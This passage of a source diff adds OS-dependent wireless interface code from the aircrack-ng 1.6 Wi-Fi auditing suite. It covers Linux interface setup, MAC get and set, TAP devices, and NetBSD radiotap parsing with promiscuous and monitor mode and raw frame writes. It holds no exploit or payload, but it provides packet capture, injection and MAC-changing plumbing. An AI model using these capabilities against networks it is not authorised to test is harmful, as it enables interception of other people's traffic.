+		if ((acpi = fopen(r_file, "r")) == NULL) goto close_out;
+		memset(buf, 0, 128);
+		IGNORE_ZERO(fgets(buf, 128, acpi));
+		buf[127] = '\x00';
+		// rtap iface doesn't exist
+		if (strncmp(buf, "-1", 2) == 0)
+		{
+			// repoen for writing
+			fclose(acpi);
+			if ((acpi = fopen(r_file, "w")) == NULL) goto close_out;
+			fputs("1", acpi);
+			// reopen for reading
+			fclose(acpi);
+			if ((acpi = fopen(r_file, "r")) == NULL) goto close_out;
+			IGNORE_ZERO(fgets(buf, 128, acpi));
+		}
+		fclose(acpi);
+		acpi = NULL;
+
+		// use name in buf as new iface and set original iface as main iface
+		dev->main_if = (char *) malloc(strlen(iface) + 1);
+		if (dev->main_if == NULL) goto close_out;
+		memset(dev->main_if, 0, strlen(iface) + 1);
+		strncpy(dev->main_if, iface, strlen(iface));
+
+		iface = (char *) malloc(strlen(buf) + 1);
+		if (iface == NULL) goto close_out;
+		iface_malloced = 1;
+		memset(iface, 0, strlen(buf) + 1);
+		strncpy(iface, buf, strlen(buf));
+	}
+
+	/* test if rtap interface and try to find real interface */
+	if (memcmp(iface, "rtap", 4) == 0 && dev->main_if == NULL)
+	{
+		memset(&ifr, 0, sizeof(ifr));
+		strncpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name) - 1);
+
+		n = 0;
+
+		if (ioctl(dev->fd_out, SIOCGIFINDEX, &ifr) < 0)
+		{
+			// create rtap interface
+			n = 1;
+		}
+
+		net_ifaces = opendir("/sys/class/net");
+		while (net_ifaces != NULL && (this_iface = readdir(net_ifaces)) != NULL)
+		{
+			if (this_iface->d_name[0] == '.') continue;
+
+			char * new_r_file = (char *) realloc(
+				r_file, (33 + strlen(this_iface->d_name) + 1) * sizeof(char));
+			if (!new_r_file)
+			{
+				continue;
+			}
+			r_file = new_r_file;
+			snprintf(r_file,
+					 33 + strlen(this_iface->d_name) + 1,
+					 "/sys/class/net/%s/device/rtap_iface",
+					 this_iface->d_name);
+
+			if ((acpi = fopen(r_file, "r")) == NULL) continue;
+			dev->drivertype = DT_IPW2200;
+
+			memset(buf, 0, 128);
+			IGNORE_ZERO(fgets(buf, 128, acpi));
+			if (n == 0) // interface exists
+			{
+				if (strncmp(buf, iface, 5) == 0)
+				{
+					fclose(acpi);
+					acpi = NULL;
+					closedir(net_ifaces);
+					net_ifaces = NULL;
+					dev->main_if
+						= (char *) malloc(strlen(this_iface->d_name) + 1);
+					if (dev->main_if == NULL) continue;
+					strcpy(dev->main_if, this_iface->d_name);
+					break;
+				}
+			}
+			else // need to create interface
+			{
+				if (strncmp(buf, "-1", 2) == 0)
+				{
+					// repoen for writing
+					fclose(acpi);
+					if ((acpi = fopen(r_file, "w")) == NULL) continue;
+					fputs("1", acpi);
+					// reopen for reading
+					fclose(acpi);
+					if ((acpi = fopen(r_file, "r")) == NULL) continue;
+					IGNORE_ZERO(fgets(buf, 128, acpi));
+					if (strncmp(buf, iface, 5) == 0)
+					{
+						closedir(net_ifaces);
+						net_ifaces = NULL;
+						dev->main_if
+							= (char *) malloc(strlen(this_iface->d_name) + 1);
+						if (dev->main_if == NULL) continue;
+						strcpy(dev->main_if, this_iface->d_name);
+						fclose(acpi);
+						acpi = NULL;
+						break;
+					}
+				}
+			}
+			fclose(acpi);
+			acpi = NULL;
+		}
+
+		if (net_ifaces != NULL) closedir(net_ifaces);
+	}
+
+	if (openraw(dev, iface, dev->fd_out, &dev->arptype_out, dev->pl_mac) != 0)
+	{
+		goto close_out;
+	}
+
+	/* don't use the same file descriptor for in and out on bcm43xx,
+	   as you read from the interface, but write into a file in /sys/...
+	 */
+	if (!(dev->drivertype == DT_BCM43XX) && !(dev->drivertype == DT_IPW2200))
+	{
+		close(dev->fd_in);
+		dev->fd_in = dev->fd_out;
+	}
+	else
+	{
+		/* if bcm43xx or ipw2200, swap both fds */
+		n = dev->fd_out;
+		dev->fd_out = dev->fd_in;
+		dev->fd_in = n;
+	}
+
+	dev->arptype_in = dev->arptype_out;
+
+	if (iface_malloced) free(iface);
+	if (iwpriv) free(iwpriv);
+	if (r_file)
+	{
+		free(r_file);
+	}
+	return 0;
+close_out:
+	close(dev->fd_out);
+	if (r_file)
+	{
+		free(r_file);
+	}
+close_in:
+	close(dev->fd_in);
+	if (acpi) fclose(acpi);
+	if (iface_malloced) free(iface);
+	if (iwpriv) free(iwpriv);
+	return 1;
+}
+
+static void do_free(struct wif * wi)
+{
+	struct priv_linux * pl = wi_priv(wi);
+
+	if (pl->wlanctlng) free(pl->wlanctlng);
+
+	if (pl->iwpriv) free(pl->iwpriv);
+
+	if (pl->iwconfig) free(pl->iwconfig);
+
+	if (pl->ifconfig) free(pl->ifconfig);
+
+	if (pl->wl) free(pl->wl);
+
+	if (pl->main_if) free(pl->main_if);
+
+	free(pl);
+	free(wi);
+}
+
+#ifndef CONFIG_LIBNL
+static void linux_close(struct wif * wi)
+{
+	struct priv_linux * pl = wi_priv(wi);
+
+	if (pl->fd_in && pl->fd_out && pl->fd_in == pl->fd_out)
+	{
+		// Only close one if both are the same
+		close(pl->fd_in);
+	}
+	else
+	{
+		if (pl->fd_in) close(pl->fd_in);
+		if (pl->fd_out) close(pl->fd_out);
+	}
+	if (pl->fd_main) close(pl->fd_main);
+
+	do_free(wi);
+}
+
+#else
+
+static void linux_close_nl80211(struct wif * wi)
+{
+	struct priv_linux * pl = wi_priv(wi);
+	nl80211_cleanup(&state);
+
+	if (pl->fd_in) close(pl->fd_in);
+	if (pl->fd_out) close(pl->fd_out);
+
+	do_free(wi);
+}
+#endif
+
+static int linux_fd(struct wif * wi)
+{
+	struct priv_linux * pl = wi_priv(wi);
+
+	return pl->fd_in;
+}
+
+static int linux_get_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_linux * pl = wi_priv(wi);
+	struct ifreq ifr;
+	int fd;
+
+	fd = wi_fd(wi);
+	/* find the interface index */
+
+	/* ipw2200 got a file opened as fd  */
+	if (pl->drivertype == DT_IPW2200)
+	{
+		memcpy(mac, pl->pl_mac, 6);
+		return 0;
+	}
+
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
+
+	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
+	{
+		printf("Interface %s: \n", wi_get_ifname(wi));
+		perror("ioctl(SIOCGIFINDEX) failed");
+		return (1);
+	}
+
+	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
+	{
+		printf("Interface %s: \n", wi_get_ifname(wi));
+		perror("ioctl(SIOCGIFHWADDR) failed");
+		return (1);
+	}
+
+	memcpy(pl->pl_mac, (unsigned char *) ifr.ifr_hwaddr.sa_data, 6);
+
+	/* XXX */
+	memcpy(mac, pl->pl_mac, 6);
+	return 0;
+}
+
+static int linux_set_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_linux * pl = wi_priv(wi);
+	struct ifreq ifr;
+	int fd, ret;
+
+	fd = wi_fd(wi);
+	/* find the interface index */
+
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
+
+	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
+	{
+		printf("Interface %s: \n", wi_get_ifname(wi));
+		perror("ioctl(SIOCGIFHWADDR) failed");
+		return (1);
+	}
+
+	//         if down
+	ifr.ifr_flags &= ~(IFF_UP | IFF_BROADCAST | IFF_RUNNING);
+
+	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
+	{
+		perror("ioctl(SIOCSIFFLAGS) failed");
+		return (1);
+	}
+
+	ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER;
+	memcpy(ifr.ifr_hwaddr.sa_data, mac, 6); //-V512
+	memcpy(pl->pl_mac, mac, 6);
+
+	// set mac
+	ret = ioctl(fd, SIOCSIFHWADDR, &ifr);
+
+	// if up
+	ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING;
+
+	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
+	{
+		perror("ioctl(SIOCSIFFLAGS) failed");
+		return (1);
+	}
+
+	return ret;
+}
+
+static struct wif * linux_open(char * iface)
+{
+	struct wif * wi;
+	struct priv_linux * pl;
+
+	if (iface == NULL || strlen(iface) >= IFNAMSIZ)
+	{
+		return NULL;
+	}
+
+	wi = wi_alloc(sizeof(*pl));
+	if (!wi) return NULL;
+	wi->wi_read = linux_read;
+	wi->wi_write = linux_write;
+#ifdef CONFIG_LIBNL
+	linux_nl80211_init(&state);
+	wi->wi_set_ht_channel = linux_set_ht_channel_nl80211;
+	wi->wi_set_channel = linux_set_channel_nl80211;
+#else
+	wi->wi_set_channel = linux_set_channel;
+#endif // CONFIG_LIBNL
+	wi->wi_get_channel = linux_get_channel;
+	wi->wi_set_freq = linux_set_freq;
+	wi->wi_get_freq = linux_get_freq;
+#ifdef CONFIG_LIBNL
+	wi->wi_close = linux_close_nl80211;
+#else
+	wi->wi_close = linux_close;
+#endif
+	wi->wi_fd = linux_fd;
+	wi->wi_get_mac = linux_get_mac;
+	wi->wi_set_mac = linux_set_mac;
+	wi->wi_get_monitor = linux_get_monitor;
+	wi->wi_get_rate = linux_get_rate;
+	wi->wi_set_rate = linux_set_rate;
+	wi->wi_get_mtu = linux_get_mtu;
+	wi->wi_set_mtu = linux_set_mtu;
+
+	if (do_linux_open(wi, iface))
+	{
+		do_free(wi);
+		return NULL;
+	}
+
+	return wi;
+}
+
+struct wif * wi_open_osdep(char * iface) { return linux_open(iface); }
+
+EXPORT int get_battery_state(void)
+{
+	char buf[128];
+	int batteryTime = 0;
+	FILE * apm;
+	unsigned flag;
+	char units[32];
+	int ret;
+	static int linux_apm = 1;
+	static int linux_acpi = 1;
+
+	if (linux_apm == 1)
+	{
+		char * battery_data = NULL;
+
+		if ((apm = fopen("/proc/apm", "r")) != NULL)
+		{
+			battery_data = fgets(buf, 128, apm);
+			fclose(apm);
+		}
+
+		if (battery_data != NULL)
+		{
+			unsigned charging, ac;
+
+			ret = sscanf(battery_data,
+						 "%*s %*d.%*d %*x %x %x %x %*d%% %d %31s\n",
+						 &ac,
+						 &charging,
+						 &flag,
+						 &batteryTime,
+						 units);
+			if (!ret) return 0;
+
+			if ((flag & 0x80) == 0 && charging != 0xFF && ac != 1
+				&& batteryTime == -1)
+			{
+				if (!strncmp(units, "min", 3)) batteryTime *= 60;
+			}
+			else
+				return 0;
+			linux_acpi = 0;
+			return batteryTime;
+		}
+		linux_apm = 0;
+	}
+	if (linux_acpi && !linux_apm)
+	{
+		DIR *batteries, *ac_adapters;
+		struct dirent *this_battery, *this_adapter;
+		FILE *acpi, *info;
+		char battery_state[28 + sizeof(this_adapter->d_name) + 1];
+		char battery_info[24 + sizeof(this_battery->d_name) + 1];
+		int rate = 1, remain = 0;
+		static int total_remain = 0, total_cap = 0;
+		int batno = 0;
+		static int info_timer = 0;
+		int batt_full_capacity[3];
+		linux_apm = 0;
+		linux_acpi = 1;
+		ac_adapters = opendir("/proc/acpi/ac_adapter");
+		if (ac_adapters == NULL) return 0;
+
+		while ((this_adapter = readdir(ac_adapters)) != NULL)
+		{
+			if (this_adapter->d_name[0] == '.')
+			{
+				continue;
+			}
+			/* safe overloaded use of battery_state path var */
+			snprintf(battery_state,
+					 sizeof(battery_state),
+					 "/proc/acpi/ac_adapter/%s/state",
+					 this_adapter->d_name);
+			if ((acpi = fopen(battery_state, "r")) == NULL)
+			{
+				continue;
+			}
+			while (fgets(buf, 128, acpi))
+			{
+				if (strstr(buf, "on-line") != NULL)
+				{
+					fclose(acpi);
+					closedir(ac_adapters);
+					return 0;
+				}
+			}
+			fclose(acpi);
+		}
+		closedir(ac_adapters);
+
+		batteries = opendir("/proc/acpi/battery");
+		if (batteries == NULL)
+		{
+			return 0;
+		}
+
+		while ((this_battery = readdir(batteries)) != NULL)
+		{
+			if (this_battery->d_name[0] == '.') continue;
+
+			snprintf(battery_info,
+					 sizeof(battery_info),
+					 "/proc/acpi/battery/%s/info",
+					 this_battery->d_name);
+			info = fopen(battery_info, "r");
+			batt_full_capacity[batno] = 0;
+			if (info != NULL)
+			{
+				while (fgets(buf, sizeof(buf), info) != NULL)
+					if (sscanf(buf,
+							   "last full capacity:      %d mWh",
+							   &batt_full_capacity[batno])
+						== 1)
+						continue;
+				fclose(info);
+			}
+
+			snprintf(battery_state,
+					 sizeof(battery_state),
+					 "/proc/acpi/battery/%s/state",
+					 this_battery->d_name);
+			if ((acpi = fopen(battery_state, "r")) == NULL) continue;
+			while (fgets(buf, 128, acpi))
+			{
+				if (strncmp(buf, "present:", 8) == 0)
+				{
+					/* No information for this battery */
+					if (strstr(buf, "no")) continue;
+				}
+				else if (strncmp(buf, "charging state:", 15) == 0)
+				{
+					/* the space makes it different than discharging */
+					if (strstr(buf, " charging"))
+					{
+						closedir(batteries);
+						fclose(acpi);
+						return 0;
+					}
+				}
+				else if (strncmp(buf, "present rate:", 13) == 0)
+					rate = atoi(buf + 25);
+				else if (strncmp(buf, "remaining capacity:", 19) == 0)
+				{
+					remain = atoi(buf + 25);
+					total_remain += remain;
+				}
+			}
+			total_cap += batt_full_capacity[batno];
+			fclose(acpi);
+			batteryTime += (int) ((((float) remain) / rate) * 3600);
+			batno++;
+		}
+		info_timer++;
+
+		closedir(batteries);
+	}
+	return batteryTime;
+}

aircrack-ng-1.6.tar.gz/lib/osdep/linux_tap.c Added

@@ -0,0 +1,214 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for Linux. TAP routines
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/time.h>
+#include <linux/if.h>
+#include <linux/if_ether.h>
+#include <netinet/in.h>
+#include <linux/if_tun.h>
+#include <net/if_arp.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+
+#include "osdep.h"
+
+struct tip_linux
+{
+	int tl_fd;
+	struct ifreq tl_ifr;
+	int tl_ioctls;
+	char tl_name[MAX_IFACE_NAME];
+};
+
+static int ti_do_open_linux(struct tif * ti, char * name)
+{
+	int fd_tap;
+	struct ifreq if_request;
+	struct tip_linux * priv = ti_priv(ti);
+
+	fd_tap = open(name ? name : "/dev/net/tun", O_RDWR);
+	if (fd_tap < 0)
+	{
+		printf("error opening tap device: %s\n", strerror(errno));
+		printf("try \"modprobe tun\"\n");
+		return -1;
+	}
+
+	memset(&if_request, 0, sizeof(if_request));
+	if_request.ifr_flags = IFF_TAP | IFF_NO_PI;
+	strncpy(if_request.ifr_name, "at%d", IFNAMSIZ);
+	if (ioctl(fd_tap, TUNSETIFF, (void *) &if_request) < 0)
+	{
+		printf("error creating tap interface: %s\n", strerror(errno));
+		close(fd_tap);
+		return -1;
+	}
+
+	strncpy(priv->tl_name, if_request.ifr_name, MAX_IFACE_NAME);
+	strncpy(priv->tl_ifr.ifr_name,
+			priv->tl_name,
+			sizeof(priv->tl_ifr.ifr_name) - 1);
+
+	if ((priv->tl_ioctls = socket(PF_INET, SOCK_DGRAM, 0)) == -1)
+	{
+		priv->tl_ioctls = 0;
+		close(fd_tap);
+		return -1;
+	}
+
+	return fd_tap;
+}
+
+static void ti_do_free(struct tif * ti)
+{
+	struct tip_fbsd * priv = ti_priv(ti);
+
+	free(priv);
+	free(ti);
+}
+
+static void ti_close_linux(struct tif * ti)
+{
+	struct tip_linux * priv = ti_priv(ti);
+
+	close(priv->tl_fd);
+	close(priv->tl_ioctls);
+	ti_do_free(ti);
+}
+
+static char * ti_name_linux(struct tif * ti)
+{
+	struct tip_linux * priv = ti_priv(ti);
+
+	return priv->tl_name;
+}
+
+static int ti_set_mtu_linux(struct tif * ti, int mtu)
+{
+	struct tip_linux * priv = ti_priv(ti);
+
+	priv->tl_ifr.ifr_mtu = mtu;
+
+	return ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr);
+}
+
+static int ti_get_mtu_linux(struct tif * ti)
+{
+	int mtu;
+	struct tip_linux * priv = ti_priv(ti);
+
+	if (ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr) != -1)
+	{
+		mtu = priv->tl_ifr.ifr_mtu;
+	}
+	else
+	{
+		mtu = 1500;
+	}
+
+	return mtu;
+}
+
+static int ti_set_mac_linux(struct tif * ti, unsigned char * mac)
+{
+	struct tip_linux * priv = ti_priv(ti);
+
+	memcpy(priv->tl_ifr.ifr_hwaddr.sa_data, mac, 6); //-V512
+	priv->tl_ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER;
+
+	return ioctl(priv->tl_ioctls, SIOCSIFHWADDR, &priv->tl_ifr);
+}
+
+static int ti_set_ip_linux(struct tif * ti, struct in_addr * ip)
+{
+	struct tip_linux * priv = ti_priv(ti);
+	struct sockaddr_in * s_in;
+
+	s_in = (struct sockaddr_in *) &priv->tl_ifr.ifr_addr;
+	s_in->sin_family = AF_INET;
+	s_in->sin_addr = *ip;
+
+	return ioctl(priv->tl_ioctls, SIOCSIFADDR, &priv->tl_ifr);
+}
+
+static int ti_fd_linux(struct tif * ti)
+{
+	struct tip_linux * priv = ti_priv(ti);
+
+	return priv->tl_fd;
+}
+
+static int ti_read_linux(struct tif * ti, void * buf, int len)
+{
+	return read(ti_fd(ti), buf, len);
+}
+
+static int ti_write_linux(struct tif * ti, void * buf, int len)
+{
+	return write(ti_fd(ti), buf, len);
+}
+
+static struct tif * ti_open_linux(char * iface)
+{
+	struct tif * ti;
+	struct tip_linux * priv;
+	int fd;
+
+	/* setup ti struct */
+	ti = ti_alloc(sizeof(*priv));
+	if (!ti) return NULL;
+	ti->ti_name = ti_name_linux;
+	ti->ti_set_mtu = ti_set_mtu_linux;
+	ti->ti_get_mtu = ti_get_mtu_linux;
+	ti->ti_close = ti_close_linux;
+	ti->ti_fd = ti_fd_linux;
+	ti->ti_read = ti_read_linux;
+	ti->ti_write = ti_write_linux;
+	ti->ti_set_mac = ti_set_mac_linux;
+	ti->ti_set_ip = ti_set_ip_linux;
+
+	/* setup iface */
+	fd = ti_do_open_linux(ti, iface);
+	if (fd == -1)
+	{
+		ti_do_free(ti);
+		return NULL;
+	}
+
+	/* setup private state */
+	priv = ti_priv(ti);
+	priv->tl_fd = fd;
+
+	return ti;
+}
+
+EXPORT struct tif * ti_open(char * iface) { return ti_open_linux(iface); }

aircrack-ng-1.6.tar.gz/lib/osdep/netbsd.c Added

@@ -0,0 +1,592 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for NetBSD.
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <sys/types.h>
+#include <sys/endian.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/param.h>
+#include <sys/sysctl.h>
+#include <net/bpf.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <net/if_media.h>
+#include <sys/ioctl.h>
+#include <net/if_dl.h>
+#include <net80211/ieee80211.h>
+#include <net80211/ieee80211_crypto.h>
+#include <net80211/ieee80211_ioctl.h>
+#include <net80211/ieee80211_radiotap.h>
+#include <net80211/ieee80211_proto.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <sys/uio.h>
+#include <assert.h>
+#include <ifaddrs.h>
+
+#include "osdep.h"
+
+#ifndef LINKTYPE_IEEE802_11
+#define LINKTYPE_IEEE802_11 105
+#endif
+
+#ifndef IEEE80211_RADIOTAP_F_FCS
+#define IEEE80211_RADIOTAP_F_FCS 0x10 /* Frame includes FCS */
+#endif
+
+#ifndef IEEE80211_IOC_CHANNEL
+#define IEEE80211_IOC_CHANNEL 0
+#endif
+
+#ifndef le32toh
+#define le32toh(x) htole32(x)
+#endif
+
+struct priv_nbsd
+{
+	/* iface */
+	int pn_fd;
+
+	/* rx */
+	int pn_nocrc;
+
+	/* tx */
+	unsigned char pn_buf[4096];
+	unsigned char * pn_next;
+	int pn_totlen;
+
+	/* setchan */
+	int pn_s;
+	struct ifreq pn_ifr;
+	struct ieee80211chanreq pn_ireq;
+	int pn_chan;
+};
+
+static void get_radiotap_info(struct priv_nbsd * pn,
+							  struct ieee80211_radiotap_header * rth,
+							  int * plen,
+							  struct rx_info * ri)
+{
+	uint32_t present;
+	uint8_t rflags = 0;
+	int i;
+	unsigned char * body = (unsigned char *) (rth + 1);
+	int dbm_power = 0, db_power = 0;
+
+	/* reset control info */
+	if (ri) memset(ri, 0, sizeof(*ri));
+
+	/* get info */
+	present = le32toh(rth->it_present);
+	for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++)
+	{
+		if (!(present & (1 << i))) continue;
+
+		switch (i)
+		{
+			case IEEE80211_RADIOTAP_TSFT:
+				body += sizeof(uint64_t);
+				break;
+
+			case IEEE80211_RADIOTAP_FLAGS:
+				rflags = *((uint8_t *) body);
+			/* fall through */
+			case IEEE80211_RADIOTAP_RATE:
+				body += sizeof(uint8_t);
+				break;
+
+			case IEEE80211_RADIOTAP_CHANNEL:
+				if (ri)
+				{
+					ri->ri_channel = 1;
+				}
+				body += sizeof(uint16_t) * 2;
+				break;
+
+			case IEEE80211_RADIOTAP_FHSS:
+				body += sizeof(uint16_t);
+				break;
+
+			case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
+				dbm_power = *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DBM_ANTNOISE:
+				dbm_power -= *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
+				db_power = *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DB_ANTNOISE:
+				db_power -= *body++;
+				break;
+
+			default:
+				i = IEEE80211_RADIOTAP_EXT + 1;
+				break;
+		}
+	}
+
+	/* set power */
+	if (ri)
+	{
+		if (dbm_power)
+			ri->ri_power = dbm_power;
+		else
+			ri->ri_power = db_power;
+	}
+
+	/* XXX cache; drivers won't change this per-packet */
+	/* check if FCS/CRC is included in packet */
+	if (pn->pn_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS))
+	{
+		*plen -= IEEE80211_CRC_LEN;
+		pn->pn_nocrc = 1;
+	}
+}
+
+static unsigned char *
+get_80211(struct priv_nbsd * pn, int * plen, struct rx_info * ri)
+{
+	struct bpf_hdr * bpfh;
+	struct ieee80211_radiotap_header * rth;
+	void * ptr;
+	unsigned char ** data;
+	int * totlen;
+
+	data = &pn->pn_next;
+	totlen = &pn->pn_totlen;
+	assert(*totlen);
+
+	/* bpf hdr */
+	bpfh = (struct bpf_hdr *) (*data);
+	assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
+	*totlen -= bpfh->bh_hdrlen;
+
+	/* check if more packets */
+	if ((int) bpfh->bh_caplen < *totlen)
+	{
+		int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
+		int offset = BPF_WORDALIGN(tot);
+
+		*data = (unsigned char *) bpfh + offset;
+		*totlen -= offset - tot; /* take into account align bytes */
+	}
+	else if ((int) bpfh->bh_caplen > *totlen)
+		abort();
+
+	*plen = bpfh->bh_caplen;
+	*totlen -= bpfh->bh_caplen;
+	assert(*totlen >= 0);
+
+	/* radiotap */
+	rth = (struct ieee80211_radiotap_header *) ((char *) bpfh
+												+ bpfh->bh_hdrlen);
+	get_radiotap_info(pn, rth, plen, ri);
+	*plen -= rth->it_len;
+	assert(*plen > 0);
+
+	/* data */
+	ptr = (char *) rth + rth->it_len;
+
+	return ptr;
+}
+
+static int nbsd_get_channel(struct wif * wi)
+{
+	struct priv_nbsd * pn = wi_priv(wi);
+	struct ieee80211chanreq channel;
+
+	memset(&channel, 0, sizeof(channel));
+	strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
+
+	if (ioctl(pn->pn_s, SIOCG80211CHANNEL, (caddr_t) &channel) < 0) return -1;
+
+	return channel.i_channel;
+}
+
+static int nbsd_set_channel(struct wif * wi, int chan)
+{
+	struct priv_nbsd * pn = wi_priv(wi);
+	struct ieee80211chanreq channel;
+
+	memset(&channel, 0, sizeof(channel));
+	strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
+	channel.i_channel = chan;
+	if (ioctl(pn->pn_s, SIOCS80211CHANNEL, (caddr_t) &channel) < 0) return -1;
+	pn->pn_chan = chan;
+
+	return 0;
+}
+
+static int nbsd_read(struct wif * wi,
+					 struct timespec * ts,
+					 int * dlt,
+					 unsigned char * h80211,
+					 int len,
+					 struct rx_info * ri)
+{
+	struct priv_nbsd * pn = wi_priv(wi);
+	unsigned char * wh;
+	int plen;
+
+	assert(len > 0);
+
+	/* need to read more */
+	if (pn->pn_totlen == 0)
+	{
+		pn->pn_totlen = read(pn->pn_fd, pn->pn_buf, sizeof(pn->pn_buf));
+		if (pn->pn_totlen == -1)
+		{
+			pn->pn_totlen = 0;
+			return -1;
+		}
+		pn->pn_next = pn->pn_buf;
+	}
+
+	/* read 802.11 packet */
+	wh = get_80211(pn, &plen, ri);
+	if (plen > len) plen = len;
+	assert(plen > 0);
+	memcpy(h80211, wh, plen);
+
+	if (dlt)
+	{
+		*dlt = LINKTYPE_IEEE802_11;
+	}
+
+	if (ts)
+	{
+		clock_gettime(CLOCK_REALTIME, ts);
+	}
+
+	if (ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi);
+
+	return plen;
+}
+
+static int nbsd_write(struct wif * wi,
+					  struct timespec * ts,
+					  int dlt,
+					  unsigned char * h80211,
+					  int len,
+					  struct tx_info * ti)
+{
+	struct priv_nbsd * pn = wi_priv(wi);
+	int rc;
+
+	(void) ts;
+	(void) dlt;
+
+	/* XXX make use of ti */
+	if (ti)
+	{
+	}
+
+	rc = write(pn->pn_fd, h80211, len);
+	if (rc == -1) return rc;
+
+	return 0;
+}
+
+static void do_free(struct wif * wi)
+{
+	assert(wi->wi_priv);
+	free(wi->wi_priv);
+	wi->wi_priv = 0;
+	free(wi);
+}
+
+static void nbsd_close(struct wif * wi)
+{
+	struct priv_nbsd * pn = wi_priv(wi);
+
+	close(pn->pn_fd);
+	close(pn->pn_s);
+	do_free(wi);
+}
+
+static int do_nbsd_open(struct wif * wi, char * iface)
+{
+	int i;
+	char buf[64];
+	int fd = -1;
+	struct ifreq ifr;
+	unsigned int dlt = DLT_IEEE802_11_RADIO;
+	int s;
+	unsigned int flags;
+	struct ifmediareq ifmr;
+	int * mwords;
+	struct priv_nbsd * pn = wi_priv(wi);
+	unsigned int size = sizeof(pn->pn_buf);
+
+	/* basic sanity check */
+	if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1;
+
+	/* open wifi */
+	s = socket(PF_INET, SOCK_DGRAM, 0);
+	if (s == -1) return -1;
+	pn->pn_s = s;
+
+	/* set iface up and promisc */
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock;
+
+	flags = ifr.ifr_flags;
+	flags |= IFF_UP | IFF_PROMISC;
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+	ifr.ifr_flags = flags & 0xffff;
+	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock;
+
+	/* monitor mode */
+	memset(&ifmr, 0, sizeof(ifmr));
+	strncpy(ifmr.ifm_name, iface, IFNAMSIZ);
+	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock;
+
+	assert(ifmr.ifm_count != 0);
+
+	mwords = (int *) malloc(ifmr.ifm_count * sizeof(int));
+	if (!mwords) goto close_sock;
+	ifmr.ifm_ulist = mwords;
+	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1)
+	{
+		free(mwords);
+		goto close_sock;
+	}
+	free(mwords);
+
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+	ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
+	if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock;
+
+	/* setup ifreq for chan that may be used in future */
+	strncpy(pn->pn_ireq.i_name, iface, IFNAMSIZ);
+
+	/* same for ifreq [mac addr] */
